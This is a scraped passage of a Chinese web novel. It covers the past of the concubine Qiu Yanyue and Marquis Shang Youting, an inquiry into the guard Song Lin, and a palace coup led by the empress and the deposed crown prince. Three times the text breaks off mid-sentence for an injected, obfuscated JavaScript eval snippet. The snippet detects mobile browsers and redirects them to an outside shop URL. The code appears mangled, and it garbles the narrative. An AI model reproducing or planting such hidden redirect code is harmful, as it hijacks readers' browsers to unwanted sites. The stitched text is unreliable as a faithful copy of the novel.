好在商佑庭在北方屡战屡胜,这让建平帝心中有了不少底气。 后面三皇子在治理水患的时候出了差错,让他在朝中的声誉受到了一定的损害。再加上当时他进宫的时候对秋宴越不敬,甚至有些轻慢,建平帝借着三皇子忤逆无能的由头,让三皇子去了蓟州。 秋宴越至今还记得三皇子被就藩时,看向自己那仇恨的眼神。 若是三皇子得了势,自己绝对落不到好。 看着下方的商佑庭,秋宴越心间念头转过。 商佑庭和她确实有一段过去。 认出商佑庭的那晚,对她来说意义非凡,因为那是她在群芳阁的最后一晚,跳完那晚的舞,她就再也不会来了。 倒不是秋宴越积攒了足够母亲治病的钱财,而是她在群芳阁跳舞的事情被艳娘发现了。 艳娘不知道从哪里听闻秋宴越的父亲秋多财不久后将从外地返回京城,硬是拖着病体在外找秋宴越找了好久。 彼时的秋宴越已经是群芳阁美名在外的花魁了,艳娘一眼便认出,那花魁就是自己的女儿。 艳娘平日里就对自己曾经是群芳阁花魁的身份痛恨至极,她接受不了自己的女儿竟然也自甘下贱,放着好好的官家小姐不做,竟然跑去那腌臜地方做花魁。 艳娘愤怒地威胁,如果秋宴越不离开群芳阁,那她将拒绝服用任何药物。 面对艳娘日渐衰败的身体,秋宴越只能答应下来。 艳娘是想重新回到秋府的,在庄子上,虽然这里的人都顾忌着她们曾经的身份,没有怎么为难,但是到底不够光彩,而且秋宴越出落的越发美丽,若是一直待在庄子上,她的婚事就要耽搁了。 艳娘知道自己的身子骨不中用了,她唯一愿望就是能够回到秋府,让自己的女儿能重拾秋家女儿的身份,并能在那里光明正大地出嫁。 母亲的拳拳爱意,秋宴越怎么能不答应? 秋宴越无奈之下,只能向芳月姑姑坦白,告诉她这将是自己最后一支舞。 然而,不知怎的,这个消息竟然传了出去,人们纷纷传到这是她的最后一场表演,于是无数人不惜重金,只为能目睹她独舞一曲。 秋宴越并不清楚那些出价的人是谁,但她知道芳月姑姑也扛不住压力,芳月姑姑告诉她,她必须从中选出一个人来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938777|146588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否则群芳阁将无法向外界交代。 秋宴越明白芳月姑姑在背后默默地帮了她很多,想着反正只是最后一晚,跳完舞后她就会带着母亲回到秋府。父亲在外放期间在地方上取得了一些政绩,又花费了不少银两调回京城,如今已经成为了六品员外郎。虽然员外郎并不是什么高官,但对于父亲来说已经相当不错了,员外郎也算是初入官场核心的位置。 只要她能够进入秋府,她就会成为名副其实的官家小姐,那些人就算再大胆,也不敢闯入秋府来找她。因此,秋宴越决定答应下来,会从中挑选一个人来欣赏自己的独舞。 既然要选人,那自然是要选个好的,若是选了个色胚,那就不是单纯跳舞就能完事的了。这一选,她就选到了商佑庭。 幼时的记忆让她一眼就认出了这个人——那个曾经想要帮助自己的小哥哥。 尽管十年过去了,秋宴越仍然愿意相信,像商佑庭这样愿意伸出援手的人绝非恶人。 与许多年纪大、大腹便便的人相比,秋宴越更倾向于选择商佑庭这样的明朗少年。 就这样,商佑庭赢得了秋宴越独舞一曲的殊荣。 在场的人中,商佑庭既不是地位最高的,也不是出价最高的,但最终却是他获得了头筹,这让人感到不快。 独舞结束后,秋宴越乔装打扮,准备回家。 然而,她意外地目睹了有人看不惯商佑庭,竟打算教训他。 商佑庭本是大赵首富之子,平日里出行必有仆从跟随,但那天是他第一次前往群芳阁这样的场所。商家家教甚严,若商父得知商佑庭去了群芳阁,免不了一顿责罚。 因此,商佑庭揣着大把银票,偷偷来到群芳阁,想要长长见识。 没有仆从跟随的商佑庭虽然略懂武艺,但自小娇生惯养的他,哪里是那么多人的对手。 幸运的是,那些人只是想给商佑庭一个教训,并无意置他于死地,但看着一身是血躺在地上的商佑庭,秋宴越实在不忍,于是她找来一辆板车,拖着受伤的商佑庭去看了大夫。 少年慕艾,两人便有了交情。 然而,事情还没完,那个没有看到秋宴越跳舞的权贵子弟心怀不满,随意出手,导致商家遭受灾难。 商家原本从事的是采办生意,但恰逢大旱之年,有人举报商家囤积居奇,哄抬粮价。商家因此遭受了灾难。 商父在狱中受尽折磨,商母和商佑庭散尽家财,这才让商父活着回来。 但回来的商父因伤了根本,不久后便去世了。 而秋宴越这边,自她和艳娘回了秋府之后,艳娘的身体一直不好,常年的病痛已经压垮了她是身体,她的容颜已经衰败,没有了年轻时候的美貌。 秋父只依稀记得艳娘确实曾经是个美貌的妇人,但是容貌不在的艳娘留不住秋多财,他只是随意吩咐了几句便再也没有管过秋宴越母女。 秋宴越曾经真的想过和商佑庭成亲成家,过着不富裕但是安稳的一生。 但是本想要送进宫里博富贵的嫡姐秋水仙死活不愿意进宫。 好不容易找到的进宫路子,秋父并不想放过,于是便把主意打到了秋宴越的身上。 秋宴越确实比秋水仙合适,秋水仙容貌只是清秀,就算有秋家打点,也得不到帝皇多少关注,而秋宴越就不同了,国色天香,舞姿倾城,这样的尤物进宫,何愁不得帝皇宠爱? “若是你进宫了,为父可以把你母亲记入家谱。” 记入家谱,这是母亲想了一辈子的事。 虽然秋宴越一直觉得自己的母亲很傻,不过只是一个虚名而已,她却执着了一辈子。 秋宴越没有迟疑太久,成为一个平民的妻子,和进宫当尊贵的娘娘,这根本就没什么好选的。 更何况,进宫还能完成母亲的毕生的夙愿。在得到父亲的保证,会在年关开族谱的时候把母亲记入族谱后,秋宴越便代替嫡姐进了宫。 至于商佑庭,他是聪明人,自然知道知难而退。 21. 第 21 章 秋宴越本想和宋霖春风一度,借此怀上孩子,瞒天过海。但今夜的计划却被商佑庭给破坏了。既然如此,借种一事宋霖是不可能了。 商佑庭进自己宫里就和进自家后花园一样容易,这要是再找宋霖,被他抓奸在床怎么办? 秋宴越可不认为商佑庭会帮自己掩饰。 宋霖不能再选,秋宴越也不愿意放弃原本的计划,这样一来,就需要重新选定人选。 秋宴越瞧着屋子中央站着的商佑庭,心中有些意动。 商佑庭他确实是一个很不错的选择。 商佑庭长得好看,可以说十分好看,秋宴越也算见过不少人,秋狩的时候更是见了不少权贵家的青年才俊,但是没有一个人能比得上商佑庭的。 他俊朗却不野蛮,身居高位,却没有寻常权贵子弟身上那股骄矜之气。 而且秋宴越知道,商佑庭没有娶妻,身边连个通房侍妾都没有,洁身自好到让人难以置信。 可以说,商佑庭绝对是整个大赵所有名门贵女最想嫁的人。 建平帝不是没有想过给商佑庭指婚,但都被商佑庭以大燕未灭何以成家为由给拒绝了。 旁人拒绝赐婚建平帝肯定会动怒。 但是商佑庭不一样,商佑庭拒绝赐婚,建平帝反而龙心大悦,直道商佑庭志在四方。 秋宴越觉得自己的想法很不错。 现在山雨欲来,藩王就藩后,藩王属地里是有私兵的,虽然数量不多,但是就蓟州王而言,姜家也是后盾,若是他求援姜家,那姜家那边可以出十万精兵。 虽然南方水师擅长的是水上作战,但是陆地作战也不是完全不行,只能说是不如商佑庭的龙武军精良罢了。 若是蓟州王攻入皇城,那整个皇城中能够抵御蓟州王的唯有商佑庭一人。 而且除了蓟州王外,这皇城中可还有一位废太子和皇后娘娘。 大赵的皇后位高权重,皇后玺绶可以开武库调兵,甚至皇后自己就有一支私军,虽然人数不多,但是却能有效保护好皇后。 皇后有权豢养私军那是大赵祖制。 大赵太祖的妻子是平民出身,和太祖同甘共苦。 太祖成事之后,各路势力都想和太祖结为姻亲。 太祖为了皇位稳定,便也来者不拒。 但是太祖对皇后感情很深,为了保护好皇后,太祖特意为皇后组了一支私军,这支私军人数不多,但都是精锐。 凤印是被皇帝收回并交给了自己,可曹皇后的皇后头衔一直还在,虽然曹皇后一直幽禁在坤宁宫,但很难说她私底下有没有藏了些什么。 秋宴越私底下猜测,皇后手里可能还掌握着那一支私兵。 思来想去,整个大赵,能保自己不死的就只有一个商佑庭了。 商佑庭是大赵军神,在军中的威望极高。 建平帝已然是不行了,就算是解了毒,他也活不了多久,而且很大概率不能让女子有孕了,不然不可能八年来整个后宫都没有子嗣降临。 要知道,建平帝可不是只宠信自己一人的,这宫里年年都会进新人,只不过自己比那些新人更漂亮,有些才艺,更能笼络住皇帝的心而已。但是这也没有耽误建平帝去宠爱新人。 但是整个皇宫就是没有子嗣降临,连个怀孕的都没有。 助孕的药只有一颗。 若是自己怀上了商佑庭的孩子,看在孩子的面上,就算他再厌恶自己吗,但总不能不管孩子吧。 想到这里秋宴越抬起纤纤玉指,将床榻上的纱幔掀开一角。 少了纱幔的阻挡,她和商佑庭只见的阻隔只有一面珠帘。 商佑庭看到床上的美人不知什么时候将外头罩着的薄纱给脱去了,两条莹润白嫩的玉臂探出。 “侯爷,妾身美吗?” “......” 商佑庭停在原地,头却扭到了一边。 “水性杨花,不知廉耻。” “那侯爷为何不敢看妾身?” 秋宴越的手顺着身躯滑落,更显得身形曼妙。 没了纱幔的遮掩,她那双含情美目就这么惑人心魂的看着自己。 商佑庭用尽了全部的自制力,终于挪动了身子:“本候忠君爱国,岂是你这妖妃能蛊惑的?” 商佑庭几乎是落荒而逃。 他甚至连还在统领所的沈知微都忘记了,就这么骑着马一路狂奔回了侯府。 在后院的水井旁,商佑庭呈大字状瘫在地面上,青石板上,全是一滩滩的水。 商佑庭失神的望着天上的明月。 秋宴越的话语句句在耳。 商佑庭很确定,第二次去她宫中的时候,她并没有点香,屋里面之前欢宜香的气味也早就已经散掉了。 “妖精。” 商佑庭暗骂一声。 这一夜,商佑庭睡得很是不安稳,梦里有一个妖精,侧卧在床榻上,纤长的手指冲着自己轻轻一勾,声音甜媚:“侯爷,你来呀。” 第二日,商佑庭是被沈知微给吵醒的。 “好你个商佑庭,老子为你从西岭奔袭千里,你呢,你怎么对我的?” “老子在马车里等了你一夜!一夜啊!” “你倒好,自己跑回来呼呼大睡?!” “沈神医,你不能进去啊!” 砰。 一声巨响。 商佑庭阴沉着脸披着一件外套走了出来。 “侯爷,属下无能,没拦住沈神医。”侍卫一脸愧色。 “无碍,你下去吧。” 挥手示意侍卫退下后,商佑庭这才看向沈知微。 “你不进宫治疗陛下,一大早来我这干什么?” 商佑庭按了按刺痛的额心。 昨夜他一夜没睡好,一闭眼,就是那妖精,害的他一大早又去洗了个冷水澡。 好不容易才眯了一会,又被沈知微给吵醒了。 没休息好,又被沈知微吵得,他现在只觉得额心突突的疼。 “你还好意思说?你把我一个人丢在统领所?” “抱歉,我忘了。”商佑庭用力按了按额心,他只觉得头更痛了。 沈知微很快便察觉到了商佑庭此时的不对劲。 “你头疾又犯了?”沈知微也顾不上昨晚被忘在马车上的事,忙为商佑庭把脉。 “之前便说了,你这病最忌情绪波动太大,这脉象如此紊乱,到底是什么事能让你情绪如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938778|146588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不宁?”沈知微说着,从怀中掏出一瓶药来。 商佑庭接过药往嘴里丢了一颗,这药药效很强,很快,商佑庭便觉得额心不那么疼了。 “陛下的毒,能解了吗?” “自然是能解的,昨夜去的匆忙,你又不让用太医院的药材,今日我便从你家药房里拿了些药,配了个解毒丸。保证药到病除。”沈知微打包票道。 “那今日陛下就能醒了?” “解了毒我再给他扎几针就能醒了。” “那你先解毒,针晚些时候再扎。” ==== 落日时分,商佑庭又来到了统领所。 吴嶒已经将宋霖这些时日的记录全部送了过来。 好在往年的记录都是按人头存放好的,只是今年的还没有整理好,这禁军有三万人,从这里头找到宋霖的,再整理出来还真废了不少功夫,但是好在不辱使命,总算是在落日前将宋霖的资料全部整理出来了。 四年的资料厚厚一沓,分了好几大本。 商佑庭拿过最早的一本看了起来。 “预备侍卫?” 商佑庭微微皱眉。 吴嶒很有眼力劲的解释道:“这宋霖的父亲是八品侍卫,但是去世太早了,他父亲去世的时候这宋霖才八岁,距离能当值的年龄还差了好多,好不容易等到十五岁了,能来当值了,但他父亲的位置早就被人顶了缺,这才从预备侍卫做起。” “预备侍卫晋升困难,他是如何成为现在的七品侍卫的?” “这我也不清楚,只记得当时陛下发了好大的脾气,说要彻查禁军,结果查出来类似宋霖这样的情况有很多,陛下大怒,处置了好些人,宋霖便是在这个时候官复原职,成为八品侍卫的。” “就算如此,但他成为八品侍卫才两年就七品侍卫了?什么时候禁军的晋升也这么快了?”商佑庭点了点宋霖的档案,将其丢到了吴嶒面前。 前线的兵升得快是因为脑袋都在裤腰带上挂着,一场战争下来只要不死,就能加官进爵。 但是禁军不一样,禁军就是保护皇帝的,除非天天来刺客不然没点后台哪能两年升一级的。 宋霖的父亲到死也才是八品侍卫,而他儿子,今年才十八,这就已经是七品侍卫,只能说明一件事,他背后有人。 这事吴嶒也不能明说,只能回到:“宋霖平时也是老实人,办事也麻利。” “本候若是没记错,那胡仪卫就要去外地任职了,我记得当时递了个折子上来,说是要让这宋霖顶替胡仪卫的位置,成为六品仪卫?” 仪卫这种小事本来是不需要商佑庭过目的,但是仪卫毕竟六品,是需要商佑庭批了才报到兵部的。 原本没什么印象,这个时候商佑庭也想起来了。 “三年的仪卫,真是了不得。” 商佑庭又拿起另外几本档案看了下去。 “他一直都是负责这块区域的吗?” “东南角门,这是什么门?” “那一般是宫里采办的进出门。” “这宋霖成为七品侍卫后,便一直在那边。”商佑庭合上档案,靠在椅子上闭目片刻。 “把宋霖前日的出勤记录找出来。” 22. 第 22 章 “寅时出勤,卯时四刻放衙,本候记得,轮值是一个时辰吧?” 记录上清晰的记载着宋霖的轮值时间,这禁军轮值也不是完全没有人情味,若是有些事绊着了,多值一会,少值一会自然都是无妨的,只要岗位上有人就行。 但是商佑庭这会问了起来,吴嶒也是没法解释,支支吾吾的说不出什么来。 “卯时轮值的是谁?叫过来问话。”商佑庭将手上的案卷合上吩咐道。 很快,另一个侍卫便被人带了进来。 “你叫刘能?” “回统领,正是属下。” “前夜,你什么时候去轮值的?” “是卯时。”刘能身子一颤,低下头回答道。 “卯时几刻啊?” “卯时四刻。” “刘侍卫,不知为何你轮值迟到了四刻钟?”商佑庭好整以暇的看着下方抖若筛糠的侍卫。 “你可想好了,前夜正是陛下染疾之夜,如今宫里可都是在找陛下染疾的原因,这人啊,要学会选择,什么事该背,什么事不该背,你应该分的清楚。” “统领饶命,宋霖侍卫当时说他过些时候家中有事,便说先帮属下顶四刻钟,过几日再让属下还他,属下当时想着时间也不久,便同意了。” “你说的可都是真的?” “属下说的句句属实。” 商佑庭的脸色已经不是一般的难看了。 “吴嶒,去查一下,昨夜怜月宫的巡逻名单有没有人动过手脚?” 很快,吴嶒便回来了,他擦了擦头上的冷汗,小心翼翼的看了看商佑庭的脸色说道:“本来确实不是宋霖负责怜月宫范围巡逻的,但是林指挥官发话,便将其调去了怜月宫。” 咔嚓。 商佑庭捏碎了手中的茶盏。 “好的很啊。”他咬牙切齿。 如今他还有什么不明白的呢? 商佑庭开始回忆起昨夜秋宴越的举动。 从进入怜月宫开始,秋宴越就在勾引自己。 不,应该说,她是在勾引另一个男人“宋霖”。 他果然不该相信这个女人。 不知廉耻! 见异思迁! 水性杨花! 商佑庭腾的站起来:“今夜怜月宫依旧由本候负责巡逻!” == 另一边 今夜无月,秋宴越连着两日没休息好,本想着今夜早些休息,但刚准备睡下,却远处一片火光 “怎么回事?” “不对劲。” 秋宴越耳朵一动,来到窗前,推开窗户往外看,外面火光冲天,一看就不是正常的场景。 “这是有人谋反?” 虽然没有见过谋反的场景,但是没吃过猪肉还没见过猪跑吗? 秋宴越虽然书读的不多,但是她却深知知识的重要性,进宫后,她除了要编舞讨皇帝欢心外,也看了不少的书,如今这个情景,像极了史书里面写的谋反。 秋宴越飞快的在心底排除可疑人物。 藩王们不可能,离南都最近的藩王便是蓟州王,但是就算是蓟州王,也不可能这么快就进京。 而且,就算是蓟州王进京了,可商佑庭可还在呢,大赵军神断不可能这么轻易就让人进入皇城。 “莫非是曹皇后和废太子?” “能这么快进京的,肯定就是皇后和太子了。”秋宴越很快就确定下了来人的身份。 太子虽然被废,圈禁在废旧太子府,但毕竟还是在京城。 曹皇后虽然被皇帝罚了幽禁坤宁宫,可她依旧是皇后。 太子这个位置太重要了,身为储君,从他被立为储君之日就,他在太子府中便有了自己的班底,就算是他太子之位被废了,但是他之前经营的人脉还在,。 而且太子只是被圈禁在京城里, 太子是皇帝的长子,又是中宫皇后所出,又是嫡子又是长子,是天然的太子,比起那些就藩的王爷来说还是多了不少机会的。 最是符合朝堂上那些酸儒的立储标准。 如今皇帝昏迷不醒已经是第三日了,国不可一日无君,一位能主持大局的储君太重要了。 而且太子不是无能之辈,他在位期间也是励精图治,做出了不少政绩。 太子被废,归根到底还是建平帝老了。 年老的皇帝和做了四十年太子之间的矛盾。 就算是太子再小心翼翼,可是还是挡不住建平帝的猜忌。 只是建平帝和曹皇后毕竟是少年夫妻,彼此之间还是有情义的。 因此虽然现在母子两人都被幽禁,但是人还好好的活着,这也给了那些支持太子的人一些希望。 尤其是曹皇后的母族。 曹皇后出身大族,太子若是继位,那曹氏便是获利最大的家族。 如今皇帝中风,昏迷不醒,藩王又都在外地不能第一时间赶过来,这个时候谋反是最佳时机,若是过了这个时间,也不知道自己日后会是什么结局。 这次若是成了,就算未来皇帝清醒,那便当个太上皇颐养天年便是。 看着远处的火光越来越近秋宴越不由喃喃自语道:“他们这是朝着怜月宫来的。” “既然知道叛军的目标是怜月宫,那你这贵妃娘娘怎么一点也不着急?”空旷的寝宫内突然出现了一个声音。 秋宴越转过身,果不其然,商佑庭正坐在桌案边好整以暇的看着自己。 “侯爷可是禁军统领,难不成就要看着这些乱臣贼子伤害陛下吗?”秋宴越见是商佑庭,心下大定。 “本候军功立身,这位置上不管是谁,本候终究是长平候。” “倒是娘娘,如今叛军即将杀入皇宫,娘娘这些年得罪了不少人吧。” 商佑庭悠然的给自己沏了一盏茶,丝毫不在意外头来了多少叛军。 “那若是有机会,让大赵姓商呢?” 秋宴越勾起一抹诱惑的笑,身子轻巧一转,整个人便已经做到了商佑庭的怀中,她纤长的手指悄然摸到商佑庭的腰间,正要向下....... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941726|146588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “够了。”商佑庭一把抓住秋宴越的手腕,组织她的动作。 “本候忠于大赵,忠于陛下,你这寡颜无耻的女人,是不是来个男人你就要发骚?” 商佑庭咬牙。 “昨夜,那姓宋的没来,你是不是很失望?” 另一边 曹皇后穿着一身只有大朝才会穿的朝服,在一个中年男子的搀扶下微微颤颤的朝怜月宫而去。 在他们前,全是染血的士兵。 “曹皇后,皇后私军可不是你用来发起叛乱的,趁早退去,陛下说不定还会对你从轻发落。”吴嶒率领着禁军,顽强抵抗。 可禁军只有三万,而且,曹皇后和废太子来得突然,禁军一时半会还没来得及全部调动过来。 曹皇后手中有三百皇后私军,这人数虽然不多,但是这些人平时都是隐藏在坤宁宫中的,这会直接从皇宫内部杀出来,禁军这边一时没有反应过来,加上皇宫之外又有曹家水军虎视眈眈,里应外合之下,禁军防线竟然被这些反贼撕裂出一道口子来。 这会曹皇后和废太子率领曹家军和皇后私军正朝着怜月宫方向杀去。 “吴嶒指挥,孤乃是父皇长子,又是嫡子,自孤出生,便被册封为太子,是这大赵的储君,如今父皇昏迷不醒,朝廷内忧外患,孤理应接过皇位,主持大局。”废太子赵泰搀扶着曹皇后,一步步朝着吴嶒逼近。 “太子殿下,您被废已久,如今擅自闯入皇宫,这可是大逆不道的行为。”吴嶒哪里是太子一方的对手,被打的节节败退,但他仍然坚持劝道。 这一边劝吴嶒心中一边暗自叫苦。 商统领说,自己要坚持四刻钟的时间,可对方足足有十万人马,四刻钟,这才一刻钟自己就要战死了啊。 “吴指挥,你是大赵的臣子,如今国难当头,难道你还要拘泥于那些陈规旧矩吗?何不放下成见,吴指挥若是能归于孤麾下,孤保证,禁军统领的位置就是吴指挥你的。” “臣只知道忠于陛下,忠于朝廷。太子殿下,您若真有心为国,就不该在此时此刻做出如此举动。”想到商佑庭的命令,又想着商佑庭给自己许下的好处,吴嶒眼一闭心一横:“将士们,为了陛下,死战不退!” 看着吴嶒油盐不进,赵泰眼中闪过一丝狠厉。 “既然如此,那就别怪孤无情了。”赵泰冷哼一声,随即示意身后的皇后私军。 皇后私军中走出几名高手,他们手持弓箭搭弓瞄准了吴嶒。 吴嶒虽然身经百战,但面对如此多的弓箭指着自己,也不禁感到一阵寒意。他知道,自己和禁军的抵抗已经到了最后关头。 “吴指挥,你若现在投降,孤可以保你性命。”赵泰还在试图说服吴嶒。 吴嶒紧握手中的长剑,目光坚定:“太子殿下,臣忠于陛下,绝不会背叛大赵。” 赵泰见状,不再多言,示意皇后私军发起最后的攻击。禁军在吴嶒的带领下,虽然人数上处于劣势,但仍然拼死抵抗。然而,叛军的攻势越来越猛,禁军的防线逐渐被撕裂。